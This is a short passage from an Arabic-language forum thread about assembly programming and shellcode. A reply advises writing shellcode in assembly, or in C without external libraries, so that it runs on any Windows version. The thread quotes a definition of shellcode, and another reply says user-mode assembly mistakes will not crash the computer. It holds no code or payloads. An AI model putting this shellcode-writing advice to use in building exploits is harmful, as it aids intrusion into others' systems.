أو أنه هناك فرق من حيث النتيجه ؟
فيما يخص الشيل كود ,كتابته بالأسمبلي أسهل و أفضل , يمكن كتابته بالC ايضا ,لكن يجب أن تتجنب أستدعاء أي مكتبات أو دوال خارجية ,لأننا نحتاج كودا تنفيذيا يستطيع العمل على جميع نسخ الويندوز ,

اقتباس من موضوع ragnarok :

نبذة سريعة: الشيل كود هو عبارة عن أوامر مستقلة بذاتها يتم تنفيذيها في جزء من الذاكرة (قابل للتنفيذ) بدون الحاجة الى هيكل بنية الملفات التنفيذية خاص بها (يعني خاص بالشيل كود).
 
إنضم
27 مايو 2014
المشاركات
206
الإعجابات
279
النقاط
63
الإقامة
Marruecos
لدي استفسار آخر بما ان الاسمبلى لغة منخفضة المستوى
هل تعلم الاسمبلي وكتابة بعض الاكواد الخاطئه قد يؤدي لتعطل الحاسوب او تعطيل نظام الويندوز ؟!
بما أنك تتعامل مع النظام على مستوى ال user mode ,فلن يسبب هذا ما قد نسميه تعطيل الحاسوب .
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل